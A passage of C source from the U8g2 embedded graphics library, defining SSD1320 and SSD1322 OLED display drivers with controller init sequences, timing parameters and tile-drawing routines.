0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* ssd1320: 2 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* ssd1320: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* ssd1320: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 10000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* ssd1320: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 20, /* 160 pixel, so we require 20 bytes for this */ /* tile_height = */ 4, /* default_x_offset = */ 0, /* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 32 }; // initialisation sequence from the Arduino Library // (see https://github.com/sparkfun/SparkFun_SSD1320_OLED_Arduino_Library) static const uint8_t u8x8_d_ssd1320_cs1_160x32_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_C(0xae), /* display off */ U8X8_CA(0xd5, 0xC2), /* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec) */ U8X8_CA(0xa8, 0x1f), /* multiplex ratio 1/64 Duty (0x0F~0x3F) */ U8X8_CA(0xa2, 0x00), /* display start line */ U8X8_C(0xa0), /* Set Segment Re-Map: column address 0 mapped to SEG0 CS1 */ // U8X8_C(0xa1), /* Set Segment Re-Map: column address 0 mapped to SEG0 CS2 */ U8X8_C(0xc8), /* Set COM Output Scan Direction: normal mode CS1 */ // U8X8_C(0xc0), /* Set COM Output Scan Direction: normal mode CS2 */ U8X8_CA(0xd3, 0x72), /* CS1 */ // U8X8_CA(0xd3, 0x92), /* CS2 */ U8X8_CA(0xda, 0x12), /* Set SEG Pins Hardware Configuration: */ U8X8_CA(0x81, 0x5a), /* contrast */ U8X8_CA(0xd9, 0x22), /* Set Phase Length */ U8X8_CA(0xdb, 0x30), /* VCOMH Deselect Level */ U8X8_CA(0xad, 0x10), /* Internal IREF Enable */ U8X8_CA(0x20, 0x00), /* Memory Addressing Mode: Horizontal */ U8X8_CA(0x8d, 0x01), /* disable internal charge pump 1 */ U8X8_CA(0xac, 0x00), /* disable internal charge pump 2 */ U8X8_C(0xa4), /* display on */ U8X8_C(0xa6), /* normal display */ U8X8_DLY(1), /* delay 2ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1320_160x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_ssd1320_cs1_160x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x32_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ){ u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x32_nhd_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else{ u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x32_nhd_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_ssd1320_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=========================================================*/ /* 160x132 (actually 320x132) */ static const uint8_t u8x8_d_ssd1320_cs1_160x132_nhd_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* remap */ U8X8_C(0xc8), /* Set COM Output Scan Direction: normal mode CS1 */ U8X8_CA(0xd3, 0x0e), /* CS1 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1320_cs1_160x132_nhd_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* remap */ U8X8_C(0xc0), /* Set COM Output Scan Direction: normal mode CS1 */ U8X8_CA(0xd3, 0x92), /* CS1 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_d_ssd1320_cs1_160x132_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* ssd1320: 2 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* ssd1320: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* ssd1320: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 10000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* ssd1320: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 20, /* 160 pixel, so we require 20 bytes for this */ /* tile_height = */ 17, /* default_x_offset = */ 0, /* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 132 }; /* the following sequence will work, but requires contrast to be very high */ /* added #ifdef to avoid compiler warning, issue 1802 */ #ifdef NOT_USED static const uint8_t u8x8_d_ssd1320_cs1_160x132_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_C(0xae), /* display off */ U8X8_CA(0xd5, 0xC2), /* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec) */ U8X8_CA(0xa8, 0x83), /* multiplex ratio 1/132 Duty */ U8X8_CA(0xa2, 0x00), /* display start line */ U8X8_C(0xa0), /* Set Segment Re-Map: column address 0 mapped to SEG0 CS1 */ // U8X8_C(0xa1), /* Set Segment Re-Map: column address 0 mapped to SEG0 CS2 */ U8X8_C(0xc8), /* Set COM Output Scan Direction: normal mode CS1 */ // U8X8_C(0xc0), /* Set COM Output Scan Direction: normal mode CS2 */ U8X8_CA(0xd3, 0x0e), /* CS1 */ // U8X8_CA(0xd3, 0x92), /* CS2 */ U8X8_CA(0xda, 0x12), /* Set SEG Pins Hardware Configuration: */ U8X8_CA(0x81, 0x5a), /* contrast */ U8X8_CA(0xd9, 0x22), /* Set Phase Length */ U8X8_CA(0xdb, 0x30), /* VCOMH Deselect Level */ U8X8_CA(0xad, 0x10), /* Internal IREF Enable */ U8X8_CA(0x20, 0x00), /* Memory Addressing Mode: Horizontal */ U8X8_CA(0x8d, 0x01), /* disable internal charge pump 1 */ U8X8_CA(0xac, 0x00), /* disable internal charge pump 2 */ U8X8_C(0xa4), /* display on */ U8X8_C(0xa6), /* normal display */ U8X8_DLY(1), /* delay 2ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; #endif /* OLED_WR_Byte(0xae,OLED_CMD);//Display OFF OLED_WR_Byte(0xfd,OLED_CMD);//Set Command Lock OLED_WR_Byte(0x12,OLED_CMD); OLED_WR_Byte(0x20,OLED_CMD);//Set Memory Addressing Mode OLED_WR_Byte(0x00,OLED_CMD); OLED_WR_Byte(0x25,OLED_CMD);//Set Portrait Addressing Mode OLED_WR_Byte(0x00,OLED_CMD);//Normal Addressing Mode OLED_WR_Byte(0x81,OLED_CMD);//Set Contrast Control OLED_WR_Byte(0x6b,OLED_CMD); OLED_WR_Byte1(0xa0,OLED_CMD,1);//Set Seg Remap LEFT DISPLAY OLED_WR_Byte1(0xa1,OLED_CMD,2);//Set Seg Remap RIGHT DISPLAY OLED_WR_Byte(0xa2,OLED_CMD);//Set Display Start Line OLED_WR_Byte(0x00,OLED_CMD); OLED_WR_Byte(0xa4,OLED_CMD);//Resume to RAM content display OLED_WR_Byte(0xa6,OLED_CMD);//Set Normal Display OLED_WR_Byte(0xa8,OLED_CMD);//Set MUX Ratio OLED_WR_Byte(0x83,OLED_CMD);//1/132 duty OLED_WR_Byte(0xad,OLED_CMD);//Select external or internal IREF OLED_WR_Byte(0x10,OLED_CMD); OLED_WR_Byte(0xbc,OLED_CMD);//Set Pre-charge voltage OLED_WR_Byte(0x1e,OLED_CMD);// OLED_WR_Byte(0xbf,OLED_CMD);//Linear LUT OLED_WR_Byte1(0xc8,OLED_CMD,1);//Set COM Output Scan Direction LEFT DISPLAY OLED_WR_Byte1(0xc0,OLED_CMD,2);//Set COM Output Scan Direction RIGHT DISPLAY OLED_WR_Byte(0xd3,OLED_CMD);//Set Display Offset OLED_WR_Byte1(0x0e,OLED_CMD,1); //LEFT DISPLAY OLED_WR_Byte1(0x92,OLED_CMD,2); // RIGHT DISPLAY OLED_WR_Byte(0xd5,OLED_CMD);//Set Display Clock Divide Ratio/Oscillator Frequency OLED_WR_Byte(0xc2,OLED_CMD);//85Hz OLED_WR_Byte(0xd9,OLED_CMD);//Set Pre-charge Period OLED_WR_Byte(0x72,OLED_CMD);// OLED_WR_Byte(0xda,OLED_CMD);//Set SEG Pins Hardware Configuration OLED_WR_Byte(0x32,OLED_CMD); OLED_WR_Byte(0xbd,OLED_CMD);//Set VP OLED_WR_Byte(0x03,OLED_CMD); OLED_WR_Byte(0xdb,OLED_CMD);//Set VCOMH OLED_WR_Byte(0x30,OLED_CMD); OLED_WR_Byte(0xaf,OLED_CMD);//Display on */ static const uint8_t u8x8_d_ssd1320_160x132_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_C(0xae), /* display off */ U8X8_CA(0xd5, 0xC2), /* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec) */ U8X8_CA(0xa8, 0x83), /* multiplex ratio 1/132 Duty */ U8X8_CA(0xa2, 0x00), /* display start line */ U8X8_C(0xa0), /* Set Segment Re-Map: column address 0 mapped to SEG0 CS1 */ // U8X8_C(0xa1), /* Set Segment Re-Map: column address 0 mapped to SEG0 CS2 */ U8X8_C(0xc8), /* Set COM Output Scan Direction: normal mode CS1 */ // U8X8_C(0xc0), /* Set COM Output Scan Direction: normal mode CS2 */ U8X8_CA(0xad, 0x10), /* select Iref: 0x00 external (reset default), 0x10 internal */ U8X8_CA(0xbc, 0x1e), /* pre-charge voltage level 0x00..0x1f, reset default: 0x1e */ U8X8_C(0xbf), /* select linear LUT */ U8X8_CA(0xd5, 0xc2), /* Bit 0..3: clock ratio 1, 2, 4, 8, ...256, reset=0x1, Bit 4..7: F_osc 0..15 */ U8X8_CA(0xd9, 0x72), /* Set Phase 1&2 Length, Bit 0..3: Phase 1, Bit 4..7: Phase 2, reset default 0x72 */ U8X8_CA(0xbd, 0x03), /* from the vendor init sequence */ U8X8_CA(0xdb, 0x30), /* VCOMH Deselect Level */ U8X8_CA(0xd3, 0x0e), /* CS1 */ // U8X8_CA(0xd3, 0x92), /* CS2 */ U8X8_CA(0xda, 0x12), /* Set SEG Pins Hardware Configuration: */ U8X8_CA(0x81, 0x6b), /* contrast */ //U8X8_CA(0xd9, 0x22), /* Set Phase Length */ //U8X8_CA(0xdb, 0x30), /* VCOMH Deselect Level */ //U8X8_CA(0xad, 0x10), /* Internal IREF Enable */ U8X8_CA(0x20, 0x00), /* Memory Addressing Mode: Horizontal */ //U8X8_CA(0x8d, 0x01), /* unknown in SSD1320 datasheet, disable internal charge pump 1 */ //U8X8_CA(0xac, 0x00), /* unknown in SSD1320 datasheet, disable internal charge pump 2 */ U8X8_C(0xa4), /* display RAM on */ U8X8_C(0xa6), /* normal display */ U8X8_DLY(1), /* delay 2ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1320_160x132(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_ssd1320_cs1_160x132_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); // u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_init_seq); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_160x132_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ){ u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else{ u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_ssd1320_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=========================================================*/ /* https://github.com/olikraus/u8g2/issues/1816 */ /* 160x80, https://de.aliexpress.com/item/1005003510267760.html */ static const uint8_t u8x8_d_ssd1320_160x80_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* remap */ U8X8_C(0xc8), /* Set COM Output Scan Direction: normal mode CS1 */ U8X8_CA(0xd3, 39), /* display offset */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1320_160x80_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* remap */ U8X8_C(0xc0), /* Set COM Output Scan Direction: normal mode CS1 */ U8X8_CA(0xd3, 120), /* display offset */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_d_ssd1320_160x80_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* ssd1320: 2 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* ssd1320: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* ssd1320: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 10000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* ssd1320: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 20, /* 160 pixel, so we require 20 bytes for this */ /* tile_height = */ 10, /* default_x_offset = */ 0, /* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 80 }; static const uint8_t u8x8_d_ssd1320_160x80_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_C(0xae), /* display off */ U8X8_CA(0xa8, 80), /* multiplex ratio 1/80 Duty */ U8X8_CA(0xa2, 0), /* display start line */ U8X8_C(0xa0), /* Set Segment Re-Map */ U8X8_C(0xc8), /* Set COM Output Scan Direction: normal mode */ U8X8_CA(0xad, 0x10), /* select Iref: 0x00 external (reset default), 0x10 internal */ U8X8_CA(0xbc, 0x1e), /* pre-charge voltage level 0x00..0x1f, reset default: 0x1e */ U8X8_C(0xbf), /* select linear LUT */ U8X8_CA(0xd5, 0xc2), /* Bit 0..3: clock ratio 1, 2, 4, 8, ...256, reset=0x1, Bit 4..7: F_osc 0..15 */ U8X8_CA(0xd9, 0x72), /* Set Phase 1&2 Length, Bit 0..3: Phase 1, Bit 4..7: Phase 2, reset default 0x72 */ U8X8_CA(0xd3, 39), /* display offset */ U8X8_CA(0xda, 0x12), /* Set SEG Pins Hardware Configuration: */ U8X8_CA(0x81, 0x70), /* contrast */ U8X8_CA(0x20, 0x00), /* Memory Addressing Mode: Horizontal */ U8X8_C(0xa4), /* display RAM on */ U8X8_C(0xa6), /* normal display */ U8X8_DLY(1), /* delay 2ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1320_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1320_common_2(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_ssd1320_160x80_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_160x80_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ){ u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_160x80_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else{ u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_160x80_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: break; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1322.c ================================================ /* u8x8_d_ssd1322.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SSD1322: 480 x 128 dot matrix 16 gray scale */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1322_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* ssd1322: display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1322_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* ssd1322: display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* interpret b as a monochrome bit pattern, write value 15 for high bit and value 0 for a low bit */ /* topbit (msb) is sent last */ /* example: b = 0x083 will send 0xff, 0x00, 0x00, 0xf0 */ /* 4 Jan 2017: I think this procedure not required any more. Delete? */ /* static uint8_t u8x8_write_byte_to_16gr_device(u8x8_t *u8x8, uint8_t b) { static uint8_t buf[4]; static uint8_t map[4] = { 0, 0x00f, 0x0f0, 0x0ff }; buf [3] = map[b & 3]; b>>=2; buf [2] = map[b & 3]; b>>=2; buf [1] = map[b & 3]; b>>=2; buf [0] = map[b & 3]; return u8x8_cad_SendData(u8x8, 4, buf); } */ /* input: one tile (8 Bytes) output: Tile for SSD1325 (32 Bytes) */ static uint8_t u8x8_ssd1322_to32_dest_buf[32]; static uint8_t *u8x8_ssd1322_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1322_to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; if ( b&1 ) v |= 0x0f; *dest = v; dest+=4; a >>= 1; b >>= 1; } } return u8x8_ssd1322_to32_dest_buf; } static uint8_t *u8x8_ssd1322_4to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1322_to32_dest_buf; dest += j; a =*ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v = 0xff; *dest = v; dest+=4; a >>= 1; } } return u8x8_ssd1322_to32_dest_buf; } uint8_t u8x8_d_ssd1322_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x; uint8_t y, c; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x0C1 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1322 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 2; // only every 4th col can be addressed x += u8x8->x_offset; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address, moved out of the loop (issue 302) */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+1 ); /* end */ u8x8_cad_SendCmd(u8x8, 0x05c ); /* write to ram */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1322_8to32(u8x8, ptr)); ptr += 8; x += 2; c--; } while( c > 0 ); //x += 2; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=========================================================*/ static const uint8_t u8x8_d_ssd1322_256x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CAA(0x0a0, 0x006, 0x011), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1322_256x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CAA(0x0a0, 0x014, 0x011), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ssd1322_256x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1322: 2 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1322: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1322: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 10000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* SSD1322: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 32, /* 256 pixel, so we require 32 bytes for this */ /* tile_height = */ 8, /* default_x_offset = */ 0x01c, /* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 0x01c, /* pixel_width = */ 256, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_ssd1322_256x64_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_CA(0xfd, 0x12), /* unlock */ U8X8_C(0xae), /* display off */ U8X8_CA(0xb3, 0x91), /* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec) */ U8X8_CA(0xca, 0x3f), /* multiplex ratio 1/64 Duty (0x0F~0x3F) */ U8X8_CA(0xa2, 0x00), /* display offset, shift mapping ram counter */ U8X8_CA(0xa1, 0x00), /* display start line */ //U8X8_CAA(0xa0, 0x14, 0x11), /* Set Re-Map / Dual COM Line Mode */ U8X8_CAA(0xa0, 0x06, 0x011), /* Set Re-Map / Dual COM Line Mode */ U8X8_CA(0xab, 0x01), /* Enable Internal VDD Regulator */ U8X8_CAA(0xb4, 0xa0, 0x005|0x0fd), /* Display Enhancement A */ U8X8_CA(0xc1, 0x9f), /* contrast */ U8X8_CA(0xc7, 0x0f), /* Set Scale Factor of Segment Output Current Control */ U8X8_C(0xb9), /* linear grayscale */ U8X8_CA(0xb1, 0xe2), /* Phase 1 (Reset) & Phase 2 (Pre-Charge) Period Adjustment */ U8X8_CAA(0xd1, 0x082|0x020, 0x020), /* Display Enhancement B */ U8X8_CA(0xbb, 0x1f), /* precharge voltage */ U8X8_CA(0xb6, 0x08), /* precharge period */ U8X8_CA(0xbe, 0x07), /* vcomh */ U8X8_C(0xa6), /* normal display */ U8X8_C(0xa9), /* exit partial display */ U8X8_DLY(1), /* delay 2ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1322_nhd_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1322_256x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_ssd1322_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=========================================================*/ /* https://github.com/olikraus/u8g2/issues/2092 */ static const u8x8_display_info_t u8x8_ssd1322_240x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1322: 2 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1322: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1322: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 10000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* SSD1322: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 30, /* 256 pixel, so we require 32 bytes for this */ /* tile_height = */ 16, /* default_x_offset = */ 24, 